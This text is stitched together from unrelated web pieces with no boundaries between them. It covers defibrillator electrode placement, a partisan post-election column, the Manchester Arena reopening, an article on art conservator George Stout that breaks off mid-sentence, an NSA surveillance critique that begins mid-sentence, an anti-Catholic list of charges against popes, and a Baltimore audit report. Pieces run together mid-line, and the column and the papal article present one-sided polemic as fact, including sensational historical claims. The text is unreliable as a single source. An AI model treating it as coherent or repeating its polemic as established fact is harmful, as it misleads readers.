resuscitation electrodes are designed as an adhesive pad, which includes either solid or wet gel. These are peeled off their backing and applied to the patient's chest when deemed necessary, much the same as any other sticker. The electrodes are then connected to a defibrillator, much as the paddles would be. If defibrillation is required, the machine is charged, and the shock is delivered, without any need to apply any additional gel or to retrieve and place any paddles. Most adhesive electrodes are designed to be used not only for defibrillation, but also for transcutaneous pacing and synchronized electrical cardioversion. These adhesive pads are found on most automated and semi-automated units and are replacing paddles entirely in non-hospital settings. In hospital, for cases where cardiac arrest is likely to occur (but has not yet), self-adhesive pads may be placed prophylactically. Pads also offer an advantage to the untrained user, and to medics working in the sub-optimal conditions of the field. Pads do not require extra leads to be attached for monitoring, and they do not require any force to be applied as the shock is delivered. Thus, adhesive electrodes minimize the risk of the operator coming into physical (and thus electrical) contact with the patient as the shock is delivered by allowing the operator to be up to several feet away. (The risk of electrical shock to others remains unchanged, as does that of shock due to operator misuse.) Self-adhesive electrodes are single-use only. They may be used for multiple shocks in a single course of treatment, but are replaced if (or in case) the patient recovers then reenters cardiac arrest. Placement Edit Placement of electrodes for defibrillation Resuscitation electrodes are placed according to one of two schemes. The anterior-posterior scheme is the preferred scheme for long-term electrode placement. One electrode is placed over the left precordium (the lower part of the chest, in front of the heart). The other electrode is placed on the back, behind the heart in the region between the scapula. This placement is preferred because it is best for non-invasive pacing. The anterior-apex scheme can be used when the anterior-posterior scheme is inconvenient or unnecessary. In this scheme, the anterior electrode is placed on the right, below the clavicle. The apex electrode is applied to the left side of the patient, just below and to the left of the pectoral muscle. This scheme works well for defibrillation and cardioversion, as well as for monitoring an ECG. Researchers have created a software modeling system capable of mapping an individual's chest and determining the best position for an external or internal cardiac defibrillator.[20]
Mechanism of action Edit
The exact mechanism of defibrillation is not well understood.[2][21] One theory is that successful defibrillation affects a critical mass of the heart, resulting in insufficient remaining heart muscle to continue the arrhythmia.[2] Recent mathematical models of defibrillation are providing new insight into how cardiac tissue responds to a strong electrical shock.[21]
History Edit
Society and culture Edit
As devices that can quickly produce dramatic improvements in patient health, defibrillators are often depicted in movies, television, video games and other fictional media. Their function, however, is often exaggerated, with the defibrillator inducing a sudden, violent jerk or convulsion by the patient; in reality, although the muscles may contract, such dramatic patient presentation is rare. Similarly, medical providers are often depicted defibrillating patients with a "flat-line" ECG rhythm (also known as asystole). This is not normal medical practice, as the heart cannot be restarted by the defibrillator itself. Only the cardiac arrest rhythms ventricular fibrillation and pulseless ventricular tachycardia are normally defibrillated. The purpose of defibrillation is to depolarize the entire heart all at once so that it is synchronized, in the hope that it will resume beating normally. Someone who is already in asystole cannot be helped by electrical means, and usually needs urgent CPR and intravenous medication. There are also several heart rhythms that can be "shocked" when the patient is not in cardiac arrest, such as supraventricular tachycardia and ventricular tachycardia that produces a pulse; this more-complicated procedure is known as cardioversion, not defibrillation. Trivia Edit In Australia up until the 1990s it was relatively rare for ambulances to carry defibrillators. This changed in 1990 after Australian media mogul Kerry Packer had a heart attack and, purely by chance, the ambulance that responded to the call carried a defibrillator. After recovering, Kerry Packer donated a large sum to the Ambulance Service of New South Wales in order that all ambulances in New South Wales should be fitted with a personal defibrillator, which is why defibrillators in Australia are sometimes colloquially called "Packer Whackers".[39]
See also Edit
References Edit
Bibliography EditNov. 4 was a national vote of no confidence in Barack Obama.
Had a British prime minister received a vote like this, he would have resigned by now.
The one issue on which all Republicans agreed, and all ran, was the rejection of Obama. And by fleeing from him, some even refusing to admit they voted for him, Democrats, too, were conceding that this election was about Obama, and that they were not to blame for his failures.
Yet, though this was a referendum on Obama and his policies, and though both were repudiated, some pundits are claiming that America voted for an "end to gridlock" and a new era of compromise and conciliation.
How so? If the American people were truly saying that, why did they vote to turn the Senate over to Mitch McConnell? Why did they vote to send more Republicans to strengthen the hand of John Boehner and those in the House who had "shut down" the government?
Did America vote for the GOP to go back to Washington and work with Obama? Or did America reward the GOP for promising to return and continue to oppose Obama's policies?
Is the answer not obvious?
What Republicans are hearing now is the siren song of a Beltway elite that just got its clock cleaned, an elite that revels in Republican defeats, but is ever at hand to give guidance and counsel to Republicans when they win.
And that counsel is always the same: Time to put the acrimony behind us. Time to reach out and take the extended hand of the defeated. Time come together to end gridlock and move forward. And invariably this means move in the same old direction, if a bit more slowly.
Consider several areas where the kumbaya temptation is strongest.
The first is the rising clamor from Corporate America for the newly empowered Republicans to grant Obama fast track authority and support his Trans-Pacific Partnership Agreement.
Fast track would be a unilateral surrender of Congressional authority, yielding all power to amend trade treaties to Obama, and leaving Congress with a yes or no vote on whatever treaty he brings home.
This would be a Republican ratification of the policies of Bush I and II that produced $10 trillion in trade deficits, hollowed out our manufacturing base, and sent abroad the jobs of millions of Reagan Democrats.
Globalization carpet-bombed Middle America and killed the Nixon-Reagan coalition that used to give the GOP 49-state landslides.
Why would Republicans return to that Bush-Clinton-Obama policy that ended the economic independence of Eisenhower's America?
The party should re-embrace economic patriotism, stand up to Japanese protectionists and Chinese currency manipulators, and put American workers first, ahead of corporate outsourcers.
Immigration reform is a second area where the GOP is being urged, even by some of its own, to compromise. In return for Obama agreeing to improve border security, Republicans will be asked to go along with amnesty for millions here illegally.
But did any Republican run on amnesty? Is the nation demanding amnesty? If not, then who is?
Answer: Corporate America, Obama, La Raza and the editorial pages of newspapers that routinely brand Republicans as xenophobic bigots.
Republicans should pass a stand-alone border-security bill, and then dare Senate Democrats to filibuster it and dare the president to veto it.
If Obama declares an executive amnesty for five million illegals, as he threatens, he can credibly be charged will defying the manifest will of the nation and usurping Congressional power. The GOP would then be within its rights to declare all-out political warfare.
Let voters decide in 2016 whether invaders should be rewarded with paths to citizenship or whether presidents should be duty-bound to defend the border.
A third temptation will be Obama's request for Congress to formally authorize the war he has begun in Syria and Iraq. If the GOP signs on, the party will own that war going into 2016, as it owned the Iraq war going into 2006, when it lost both houses of Congress.
That the Islamic State is brutal, barbaric and anti-American is undeniable. But its occupation of northern Syria and western Iraq is the problem primarily of Syria and Iraq, and their neighbors in Lebanon, Turkey, Iran, Kurdistan, Saudi Arabia and Jordan.
This is, first and foremost, their war, not ours.
As Army Chief of Staff Ray Odierno said last week, "The long-term war against [the Islamic State] needs to be fought by the indigenous capability there. It needs to be fought by Iraqis. It needs to be fought by Syrians. It needs to be fought by other Arabs, because it's their country and they need to win that back."
Before succumbing to the kumbaya temptation, Republicans should ask themselves not how to find common ground with Barack, but how to get America out of this Slough of Despond.
And anyone who thinks last Tuesday was a call to compromise with Obama has either an ax to grind or a serious hearing problem.Manchester Arena Announces Reopening, Benefit Concert
Enlarge this image toggle caption Jeff J Mitchell/Getty Images Jeff J Mitchell/Getty Images
The Manchester Arena will reopen next month just three-and-a-half months after a bomb attack in the venue's foyer killed 22 people at the conclusion of an Ariana Grande concert. To mark the reopening, a benefit concert is scheduled for Sept. 9 at the arena with Noel Gallagher headlining. He'll be joined by The Courteeners, Blossoms and Rick Astley, along with others yet to be named.
The reopening follows the One Love Manchester benefit concert, which was held June 4 on a cricket pitch southwest of Manchester less than two weeks after the initial attack on the arena. Grande emceed and headlined that event, and was joined by Justin Bieber, Coldplay, Katy Perry, Liam Gallagher and many others. The benefit raised $3 million and drew the largest television viewership of the year at the time.
The announcement of the Manchester Arena reopening follows a notice from the We Love Manchester Emergency Fund yesterday that it's distributions to the families of those killed had increased to £250,000 (about $321,000), with no strings attached. The Fund now plans on looking at how best to distribute the remaining money, with some earmarked towards the dozens wounded, as well as the establishment of a memorial for the victims.In 1919, all undergraduates at the University of Iowa were required to take a drawing class. Were it not for that requirement, it’s possible that some of Europe’s greatest artistic treasures would have been destroyed by the Nazis during World War II.
That’s because one of those students who took the drawing class would be so inspired by art that he took up a career in the field, and 20-some years later helped to form a military unit that saved countless masterpieces from destruction.
George Stout, junior year portrait. Image courtesy of The University of Iowa Archives, Special Collections. George Stout, junior year portrait. Image courtesy of The University of Iowa Archives, Special Collections.
His unit—formally known as the Monuments, Fine Arts and Archives Section—is the subject of The Monuments Men, a new movie opening Feb. 7. Star George Clooney plays Frank Stokes, a character based on George Stout, who graduated from the UI in 1921 and went on to become one of the leading figures of 20th century art.
“He’s a legend in the field of art conservation, which is the quiet part of museum work,” says Sean O’Harrow, director of the UI Museum of Art. Stout was born in Winterset in 1897 and attended Grinnell College for two years before joining the military during World War I. He enrolled at UI in 1919 after the war and studied art and English for two years.
Although he’d always loved art and had a great appreciation for it before coming to UI, Stout had no formal art training until he took that required drawing course.
“I started to draw, as many boys did because they liked to make an image of something that was roughly recognizable. I started that when I was very young and kept on with it,” Stout said in a 1978 oral history interview with the Smithsonian Institute’s Archives of American Art. “(A friend) said, ‘Why don’t we go to the University of Iowa? They’ve got an art department there and it would be a chance for us to do what we enjoy doing and learn something more about it.’ So we did.”
He was active in writing as an undergraduate, too, as a staff member of The Daily Iowan, the Frivol humor magazine, and The Hawkeye yearbook. He was also a member of Sigma Delta Chi, the journalism professional society, but whatever career as a newsman he may have considered was set aside for the love of art that was nurtured in his drawing class.
“After graduation, in 1921, I was offered a job as an instructor in drawing and along about that same time my wife was offered a similar job, so we taught drawing and did some graduate study, mainly in the practice of the arts—drawing and painting,” Stout said in his Smithsonian oral history.
He spent three years on the faculty, marrying Margaret Hayes (her father, Samuel, was on the university’s law faculty) and they “saved up what pennies we could put together” to leave for Paris in 1924 for two years of formal instruction in art. O’Harrow wonders if he didn’t cross paths while he was there with Grant Wood, who was by the early 1920s well known in the Cedar Rapids/Iowa City art community and who was in Paris himself in 1923 and 1925, before returning home to paint “American Gothic” and, in 1932, join the UI art faculty.
Jackson and George
Thanks to the work of people like George Stout, the pride of the University of Iowa art collection is getting spruced up.
Sean O’Harrow, director of the UI Museum of Art, says much of that treatment is because of the scientific study and experimentation done by Stout and other developers of the conservation field.
Mural, the iconic piece painted by American abstract expressionist Jackson Pollock in 1943, is undergoing technical study and conservation treatment by research scientists at the Getty Conservation Institute and conservators at the J. Paul Getty Museum in Los Angeles.
Mural, is seen by many as symbolizing the beginning of the American revolution in abstract art after World War II. It was donated to the university in 1951 by Peggy Guggenheim, who commissioned it. Like the rest of the Museum of Art’s collection, it was removed from campus when the art museum was flooded by the Iowa River in 2008.
The piece will Thanks to the work of people like George Stout, the pride of the University of Iowa art collection is getting spruced up.Sean O’Harrow, director of the UI Museum of Art, says much of that treatment is because of the scientific study and experimentation done by Stout and other developers of the conservation field.Mural, the iconic piece painted by American abstract expressionist Jackson Pollock in 1943, is undergoing technical study and conservation treatment by research scientists at the Getty Conservation Institute and conservators at the J. Paul Getty Museum in Los Angeles.Mural, is seen by many as symbolizing the beginning of the American revolution in abstract art after World War II. It was donated to the university in 1951 by Peggy Guggenheim, who commissioned it. Like the rest of the Museum of Art’s collection, it was removed from campus when the art museum was flooded by the Iowa River in 2008.The piece will return to Iowa for an exhibit at the Sioux City Art Center from June 10, 2014 to April 10, 2015.
Stout left Paris in 1926 to earn a Master’s degree at Harvard University and then become a conservator at the university’s Fogg Art Museum. But O’Harrow points out that he didn’t just become a conservator—he was one of the pioneers in the field by concluding that it was better to preserve art than to repair it. He conducted scientific experiments to determine how different types of paint react to light, say, or how quickly a canvas dried in air of various humidities, and developed scientific protocols to minimize decay.
“He realized it was easier to preserve what was there and attempt to address the degradation, and he performed long, laborious experiments to see how materials degraded and how that can be arrested,” O’Harrow says. “It’s a shockingly difficult and complicated field. You have to be trained in organic chemistry, for example; that’s how difficult it is to get into.”
But preservation is not why Hollywood made a movie about George Stout, especially one starring A-list stars like Clooney, Bill Murray, Matt Damon, John Goodman, Hugh Bonneville, and Cate Blanchett. What drew Hollywood’s attention is the unit he helped put together in 1943 to move across Europe with Allied armies and save thousands of priceless pieces of art that were in harms way, or had been pilfered by the Nazis and stashed away in caves, mines, castles, and other hidden locations.
“It’s a central piece of human history, that when you go to war you bring back a lot of good stuff,” says Richard Koontz, an instructor in the College of Law who teaches a class on cultural property and the law. In this case, Koontz says Hitler wanted to accumulate as much great art as he could because of his belief that, as the Aryans are the master race, they should also possess the world’s greatest works of art.
The Monuments, Fine Arts and Archives Section was created at first with just a few dozen people (although it would grow to 400), mostly museum directors, art historians, curators, conservationists, and other personnel. They worked with Allied armies to protect vital cultural objects in combat, and find and protect art that was looted by Nazis or hidden by museums behind Nazi lines to protect them from battle.
More than 1,500 of these repositories were eventually found—one of them, in a salt mine, held more than 40 tons of art—and thousands of works by such masters as Vermeer, van Eyck, Rubens, Goya, and Botticelli were saved.
Koontz says the work of Stout and the others helped lead to a broader conversation about how to protect cultural treasures during wartime. He says it was especially important in light of the fact that much of the art the Nazis stole had belonged to Jews who fled Germany or were sent to concentration camps, giving the issue a human rights angle.
“They asked, how do you protect |
profiles on every person with a tool he created, including Americans. Not only that, a recent post from the Intercept stated that the NSA is committing economic espionage to maintain US supremacy in tech, science, and finance. Data is not ensured to be for just foreign intelligence purposes, but has been widened to include domestic spying and economic espionage.
“Some of the planning relates to foreign superiority in surveillance technology, but other parts are explicitly concerned with using cyber-espionage to bolster the competitive advantage of U.S. corporations. The report thus envisions a scenario in which companies from India and Russia work together to develop technological innovation, and the U.S. intelligence community then “conducts cyber operations” against “research facilities” in those countries, acquires their proprietary data, and then “assesses whether and how its findings would be useful to U.S. industry””
Data Minimization
In the Targeting section, NSA personnel are required to be ” appropriately trained and authorized and are permitted to introduce specific terms (such as phone number or email address) into the NSA collection systems as “selection terms” for acquiring communications associated with specific foreign intelligence targets. They perform pre-targeting research, and two-person review and approval before entering any selection term into NSA’s collection systems, and conduct checks throughout the targeting process to review and validate that the acquired collection is responsive to the documented foreign intelligence need. In addition to initial approvals, selectors are reviewed by a supervisor or senior analyst on an annual basis”
In Alvaro Bedoya contribution on Just Security points out,
“If an ‘incidental’ collection of an Americans’ data is too substantial, that collection may be rendered unreasonable by that fact alone. As Judge Bates wrote in his October 2011 opinion on section 702 collection: [T]he acquisition of non-target information is not necessarily reasonable under the Fourth Amendment simply because its collection is incidental to the purpose of the search or surveillance. […] There surely are circumstances in which incidental intrusions can be so substantial as to render a search or seizure unreasonable.”
Furthermore, if we assume that targeted collection is actually targeted, one can assume pre-targeted research found probable cause that a crime has been committed, and seizure of a person’s communications are a reasonable requirement to build a case against a person or stop a crime. If that is so, then is it unreasonable to require a warrant? The purpose of the warrant is to minimize the invasion of otherwise suspected innocent people’s lives, and focus on leads that help build a case that a crime has been committed by a specific individual.
Use Limitations
The CLPO reports that only ” a limited number of NSA personnel who are appropirately trained and suthorized to introduce specific terms (such as a phone number or email address) into NSA collection systems as “selection terms” for acquiring communications associated with specific foreign intelligence targets.” There currently is no metric for how many analysts are employed to search based on selection terms, nor how much data is accessible per analyst.
1.4 million Americans hold a top secret security clearance. Not all work for the NSA but for other military brances and about 500,000 of that population work for contractors like Booze Allen Hamilton. How many people employed by the NSA will not been recently released. It is apparently classified. Due to Sensitive Compartmented Information, it is unlikely 100% of contractors or NSA employees would have access. However, we do not know the demand analysts needed to complete the mission. With storage facilities being built in Utah, Texas, and elsewhere contractors and NSA analysts needing access to search selectors will increase. Also, data can be retained for up to 5 years, while other obtained data will remain longer in the NSA’s servers.
We learned from the Snowden leaks, that limited collection is in direct conflict of the “Collect it all mentality“. No matter how many analysts employed, the purpose is for the NSA to be able to view it all. Much of communications collected from Americans is considered incidental.
Data Quality and Integrity and Security:
The NSA report states, “if the SIGINT data describes an individual with U.S. citizenship mentioned by name, the report may not reveal the name of the person. Rather, the phrase “named U.S. Person” will be substituted. NSA follows strict process for revealing the true identities of U.S. persons within a report only to properly cleared personnel requiring access to the information to perform his or her official duties. SIGINT reports are based on valid foreign intelligence requirements and no extraneous personal data is included in the reports. NSA policy states that personnel should not include information in reports just because it is available, and they must also complete checklists that assist in reducing likelihood that personal information is inappropriately included in a report.”
However, the Intercept reported that five Muslim Americans were being spied on by the NSA and FBI. Even though it is unclear if this collection occurred under 12333 or another authority, what is clear is that guidance specifically targeted Muslims. The Intercept does confirmed that U.S persons are identified. However, just because their identity may be blocked out, selection terms like an email are not. Emails can identify an individual if the person creating the email uses their name.
“The individuals appear on an NSA spreadsheet in the Snowden archives called “FISA recap”—short for the Foreign Intelligence Surveillance Act. Under that law, the Justice Department must convince a judge with the top-secret Foreign Intelligence Surveillance Court that there is probable cause to believe that American targets are not only agents of an international terrorist organization or other foreign power, but also “are or may be” engaged in or abetting espionage, sabotage, or terrorism. The authorizations must be renewed by the court, usually every 90 days for U.S. citizens… Under the heading “Nationality,” the list designates 202 email addresses as belonging to “U.S. persons,” 1,782 as belonging to “non-U.S. persons,” and 5,501 as “unknown” or simply blank. The Intercept identified the five Americans placed under surveillance from their email addresses.”
Accountability and Auditing:
The report states that the authority (EO, Patriot Act, etc) of the collection must be documented. “NSA marks the data to understand the source and authority of the data so that access restrictions can be applied” However, in a Just Security piece, the NSA last year said it was impossible to calculate such a number.
“In a December 2013 Washington Post article on the use of 12333 to collect cellphone location records, the NSA demurred an attempt to estimate how many Americans were swept up in that program: “It’s awkward for us to try to provide any specific numbers,” one intelligence official said in a telephone interview. An NSA spokeswoman who took part in the call cut in to say the agency has no way to calculate such a figure.”
If the authority is documented; how is it not possible for the NSA to calculate incidental or even targeted collection of communications? The report continues that it has “automated tools for identifying situation when it receives data is should not received and then deletes the data.” There is no report on any metrics of how many times the automated tool deletes incidental collection.
Conclusion
The CLPO expects Americans to take it at its word. However, with simple Internet searches, Edward Snowden’s leaks have enlightened us to the idea the government cannot be trusted. Even under it’s own framework, it fails to safeguard privacy and civil liberties. The gold standard of safeguarding civil liberties and privacy is the US Constitution. However, one cannot protect status quo of protecting the national security state and liberty at the same time.
The NSA has chosen to serve the master of secrets instead of serving liberty.
Like this: Like Loading...Facing the Truth About Papal History
I am alarmed at the trend for Episcopalians/Anglicans to convert to Roman Catholicism.
Much of this is the result of the absolute moral confusion which presently exists among Anglicans; some of these people are looking at the Catholic Church and seeing order, consistency and strong, unified leadership, but I maintain that the decision to convert to Catholicism is largely emotional and reactive. I implore such people to face the facts about papal history and consider whether this can really be the church which Jesus founded. Here is a fine article written by a former Catholic nun which boldly faces up to the truth about the popes who claim to be the successors of Peter.
THE POPES
By Mary Ann Collins
(A Former Catholic Nun)
October 2002
The Roman Catholic Church paints a picture of an orderly chain of succession of popes who followed in the footsteps of the Apostle Peter. If even one of these men was not a valid Pope, then the chain is broken. What does it take to be a valid Pope? What does the Bible say are the minimum requirements for Church leaders? A Pope is not only the head of the Catholic Church, he is also the Bishop of Rome. Therefore, he must at least meet the Biblical requirements for being a bishop.
The Apostle Paul gave Timothy and Titus instructions regarding the necessary qualifications for bishops. He said,
"A bishop then must be blameless, the husband of one wife, vigilant, sober, of good behaviour, given to hospitality, apt to teach; Not given to wine, no striker [not violent], not greedy of filthy lucre [money]; but patient, not a brawler, not covetous; One that ruleth well his own house, having his children in subjection with all gravity; (For if a man know not how to rule his own house, how shall he take care of the church of God?) Not a novice, lest being lifted up with pride he fall into the condemnation of the devil. Moreover he must have a good report of them which are without; lest he fall into reproach and the snare of the devil." (1 Timothy 3:1-7, emphasis added)
"For a bishop must be blameless, as the steward of God; not selfwilled, not soon angry, not given to wine, no striker [not violent], not given to filthy lucre [money]; But a lover of hospitality, a lover of good men, sober, just, holy, temperate; Holding fast the faithful word as he hath been taught, that he may be able by sound doctrine both to exhort and to convince the gainsayers." (Titus 1:7-9, emphasis added)
We are going to look at some popes and compare their lives with the Biblical qualifications for being a bishop. In the process, we will learn about some distressing things. However, we should not be surprised. Jesus told us that there would be tares among the wheat. (Matthew 13:24-30) He also warned us that there would be wolves among the sheep. (Matthew 7:15) So did the Apostle Paul. (Acts 20:29-30)
Every church has had its share of tares and wolves. However, the Catholic Church claims to have apostolic succession-an unbroken chain of valid popes that go all the way back to the Apostle Peter. My reason for telling you about these "wolf" popes is to demonstrate that some popes were not even valid bishops, let alone valid popes. And that breaks the "chain" of apostolic succession.
I apologize for putting you through this, but I can't adequately make my point without giving you this information. (You can read about these popes online.)
* Pope Honorius reigned from 625 to 638 A.D. He was condemned as a heretic by the Sixth Ecumenical Council (680-681). He was also condemned as a heretic by Pope Leo II, as well as by every other pope until the eleventh century. [Note 1]
* In 769, Pope Stephen IV came to power with the help of an army which conquered the previous Pope. Stephen gave orders for his papal rival to be flogged, have his eyes cut out, have his kneecaps broken, and be imprisoned until he died. Then Pope Stephen sentenced a second man to die a slow, agonizing death. He had pieces of his body cut off every day until he finally died. [Note 2]
* Pope Leo V only reigned for one month (July 903). Cardinal Christopher put Leo in prison and became Pope. Then Christopher was put in prison by Cardinal Sergius. Sergius killed Leo and Christopher while they were in prison. He also killed every cardinal who had opposed him. [Note 3]
*Pope John XII reigned from 955 to 964. He was a violent man. He was so lustful that people of his day said that he turned the Lateran Palace into a brothel. He drank toasts to the devil. When gambling he invoked pagan gods and goddesses. He was killed by a jealous husband while in the act of committing adultery with the man's wife. [Note 4]
* In the tenth century, a wealthy Italian noblewoman named Marozia put nine popes into office in eight years. In order to do that, she also had to get rid of reigning popes. Two of them were strangled, one was suffocated, and four disappeared under mysterious circumstances. One of the popes was Marozia's son; he was fathered by a Pope. [Note 5]
* In 1003, Pope Silvester II was murdered by his successor, Pope John XVII. Seven months later, John was poisoned. [Note 6]
* Pope Benedict VIII reigned from 1012 to 1024. He kept a private force of "pope's men" who were known for torture, maimings, and murder. The Pope personally ordered many assassinations. He enjoyed cutting the tongues out of living men and he had a reputation for blood lust. [Note 7]
* When Benedict VIII died, his brother seized power and became Pope John XIX. He had himself ordained a priest, consecrated as a bishop, and crowned as pope, all in the same day. John died under suspicious circumstances. [Note 8]
* Pope Benedict IX reigned from 1032 to 1044, in 1045, and from 1047 to 1048. He became Pope through bribery. He had sex with men, women and animals. He gave orders for people to be murdered. He also practiced witchcraft and Satanism. The citizens of Rome hated Benedict so much that on two occasions he had to flee from Rome. Benedict sold the papacy to Pope Gregory VI. As part of the deal, he continued to live in the Lateran Palace, with a generous income. Benedict filled the Lateran Palace with prostitutes. [Note 9]
*In 1298, Pope Boniface ordered that every man, woman, child and animal in the Italian town of Palestrina be slaughtered. He was known for torture, massacre, and ferocity. [Note 10]
* Pope Clement VI reigned from 1342 to 1352. He ordered the slaughter of an entire Italian town. He lived a life of luxury and extravagance. He openly admitted that he sold church offices and he used threats and bribery to gain power. Clement purchased a French palace which became known as a papal brothel. [Note 11]
* Pope Alexander VI reigned from 1492 to 1503. He was known for murder, bribery and selling positions of authority in the Church. He was grossly licentious. On one occasion he required 50 prostitutes to dance naked before him and to engage in sexual acts for his entertainment. He had cardinals killed so that he could confiscate their property and sell their positions to ambitious men. He died of poison after having dinner with a cardinal. It was rumored that the cardinal suspected that the Pope would try to poison him and he therefore switched wine goblets with the Pope. [Note 12]
* Pope Julius II reigned from 1503 to 1513. He became Pope through bribery. He was extremely ruthless and violent. He had a reputation for lust, drunknness, rages, deception, and nepotism. [Note 13]
* Pope Leo X reigned from 1513 to 1521. He put a statue of himself in Rome's Capitol to be saluted by the public. He had statues of Greek gods and goddesses put in Rome. [Note 14]
* Pope Gregory VII reigned from 1073 to 1085. He required kings and emperors to kiss his foot. Gregory and his successors used forged documents in order to expand the power of the papacy. Some Roman Catholics tried to expose these forgeries but they were excommunicated for it. However, the Orthodox Church kept records and wrote detailed information about the forgeries. [Note 15] (For more information about this, see my article "Forged Documents and Papal Power".)
* Simony was rampant among clerics. It was commonplace for priests to pay money in order to become bishops and abbots. Pope Gregory VII said that he knew of more than 40 men who became Pope by means of bribery. [Note 16]
* Pope Innocent III reigned from 1198 to 1216. He said that the Pope is the ruler of the world and the father of princes and kings. He claimed that every priest and bishop must obey the Pope even if the Pope commands something evil. Pope Innocent wanted to get rid of the Albigensian heretics who lived in France. He forced the King of France to kill hundreds of thousands of French citizens. The Albigensians lived mingled among the French Catholics. Pope Innocent commanded that every person in the region, including the Catholics, be killed. This was called the Albigensian Crusade, or the Albigensian Massacre. The Pope gave the Albigensian Crusaders a special indulgence which was supposed to guarantee that if they died in battle then their sins would be remitted and they would go to Heaven. [Note 17]
Would you want any of these men to be your pastor?
Sometimes two or more men would claim to be Pope at the same time. All of these claimants to the papacy had followers. Eventually one contender would be declared to be Pope, and the other would be declared to be an antipope. For centuries, Roman Catholic books differed as to which men they considered to be the genuine popes. However, today there is much more agreement about which men were popes and which men were antipopes. According to the "Catholic Encyclopedia," there were thirty antipopes. [Note 18]
There are so many breaks in the chain of apostolic succession that it is not a chain at all.
There is one Biblical qualification for being a bishop which most popes have not met since the first few centuries of the church. The Apostle Paul said,
"A bishop then must be blameless, the husband of one wife..." (1 Timothy 3:1, emphasis added)
"One that ruleth well his own house, having his children in subjection with all gravity; (For if a man know not how to rule his own house, how shall he take care of the church of God?)" (1 Timothy 3:4-5, emphasis added)
Even deacons were required to be married men whose home lives demonstrated their ability to rule the Church.
"Let the deacons be the husbands of one wife, ruling their children and their own houses well." (1 Timothy 3:12)
Pope Gregory VII wanted to increase the power of the papacy. For reasons of politics and power, he abolished clerical marriage. In 1074 he passed laws requiring that priests be celibate, and he got rid of married priests. [Note 19]
As a result, since 1074 no Pope has been able to meet the Apostle Paul's requirement for bishops.
Now I realize that some individuals........ are called to be celibate. I could understand a few exceptions to the rule. But for nearly a thousand years, not one Pope or cardinal or bishop has ever been able to meet Paul's qualifications for being a bishop.
NUMBERED NOTES
1. William Webster, "The Church of Rome at the Bar of History" (Carlisle, Pennsylvania: The Banner of Truth Trust, 1995), pages 63-71. The author is a former Catholic.
Peter de Rosa, "Vicars of Christ: The Dark Side of the Papacy" (Dublin, Ireland: Poolbeg Press, 1988, 2000), pages 208-209. The author is a practicing Catholic and a former Catholic priest. While he was a priest, he did research in the Vatican Archives.
Hans Kung, "The Catholic Church: A Short History" (translated by John Bowden) (New York: Modern Library, 2001, 2003), page 60. The author is a Catholic theologian.
2. Malachi Martin, "The Decline and Fall of the Roman Church" (New York: G.P. Putnam's Sons, 1981), pages 85-89. Martin recently died. He was a Catholic priest, a Vatican insider, and the personal confessor of Pope John XXIII. He did research in the Vatican Archives. His books are a plea for reform within the Catholic Church.
3. Malachi Martin, page 123.
4. Peter de Rosa, pages 211-215. Hans Kung, page 79.
5. Malachi Martin, page 119. Hans Kung, page 79.
6. Malachi Martin, page 131.
7. Malachi Martin, pages 130-131.
8. Malachi Martin, pages 131-132.
9. Malachi Martin, page 132. Peter de Rosa, pages 54-56.
10. Paul Johnson, "A History of Christianity" (New York: Simon & Schuster, 1976, 1995), pages 191, 218-219. Johnson is a Catholic and a prominent historian. Malachi Martin, page 175.
11. Peter de Rosa, pages 84-88.
12.Paul Johnson, pages 280, 363. Peter de Rosa, pages 103-110. Hans Kung, pages 119-120.
Two articles about Pope Alexander VI (the Borgia Pope). The second one also discusses the Pope's son, Cardinal Cesare. If the links don't work, then go to www.crimelibrary.com and search for "Borgia".
ARTICLE ONE
ARTICLE TWO
Short articles about Pope Alexander VI, his personal faults and political skills.
ARTICLE THREE
ARTICLE FOUR
13. Paul Johnson, pages 274, 280. Hans Kung, pages 125-126.
14. Malachi Martin, pages 202-203.
15. Paul Johnson, pages 194-198, 161. Peter de Rosa, pages 57-66. Hans Kung, pages 85-92.
William Webster, "Forgeries and the Papacy: The Historical Influence and Use of Forgeries in Promotion of the Doctrine of the Papacy". The author is a former Catholic.
ARTICLE FIVE
16. Malachi Martin, pages 141-142.
17. Paul Johnson, pages 199-201, 252. Peter de Rosa, pages 66-74, 152-155. Hans Kung, pages 87-103.
The Albigensian Crusade (the Albigensian Massacre)
ARTICLE SIX
18. "Antipopes"
"Antipope" in the "Catholic Encyclopedia," Volume I, 1907 (on-line edition 1999).
ARTICLE SEVEN
19. Malachi Martin, "The Decline and Fall of the Roman Church, pages 141-142.
John Shuster, "A Concise History of the Married Priesthood in Our Roman Catholic Tradition."
(In her original article the writer gave many more internet article links than the above, but I found most of these to be 'dead links' so I have removed them).
(Mary's website, Catholic Concerns is HERE).
MUSELTOF COUNTERCULT AND APOLOGETICS
UK APOLOGETICSBaltimore's Department of Transportation does not keep sufficient records to track how well workers are doing their jobs, and submits erroneous information annually in the city's budget, a new audit has found.
The audit of the agency's performance is the first completed under Baltimore's new auditing law, which requires 13 city departments to undergo financial and performance audits at least once every four years. The document will be submitted to the Board of Estimates Wednesday.
Auditors from Hamilton Enterprises LLC attempted to track how well transportation officials had paved streets, managed traffic, inspected bridges and roadway lights, and avoided damage while impounding vehicles.
But the agency "provided no evidence of policies, procedures, internal controls, or accountability" for its workers' performance in most categories, and CitiStat, Baltimore's accountability office, "did not track any data" for other measures, the auditors wrote.
"The lack of oversight, accountability and internal controls... undermines the intent of the performance measurement process as a whole," the auditors wrote.
In response, city finance officials said they are creating a new committee to address the findings of this audit and others that will soon be released.
Howard Libit, a spokesman for Mayor Stephanie Rawlings-Blake, said record-keeping will improve as more audits are done.
"It’s the first time many of the agencies have had performance audits in decades," he said. "The auditors didn’t say they didn’t do the work. It’s just that the records aren’t kept are the level that an outside auditing firm wants."
The next audit to be completed will likely be of the finance department. Comptroller Joan Pratt, who oversees city auditors, said that review should be released either this week or next.
"Most of the audits will be indicative of a lack of supporting documentation and insufficient, incomplete and inaccurate reporting," she said. "I don't believe these audits will reveal there is any fraud, waste and abuse that is rampant in city agencies."
She said the process is "revealing how important it is to have the quadrennial audits or even annual audits of city agencies, but we need sufficient funding." Pratt has said in the past that Rawlings-Blake is not providing robust enough funding for city auditors.
City Councilman Carl Stokes, who authorized the legislation requiring the audits, said the first review finished shows that city officials have essentially been submitting "lies" to the council during the budget process.
"They didn't have any documentation," Stokes said. "That's not a guesstimate. That's a lie. They make up numbers. They have no clue how many pot holes they filled."
Even so, Stokes said, he was glad the audits are finally being completed.
"What I'm encouraged by is we're actually doing audits for the first time in 30 years," he said. "Now we will have a baseline."
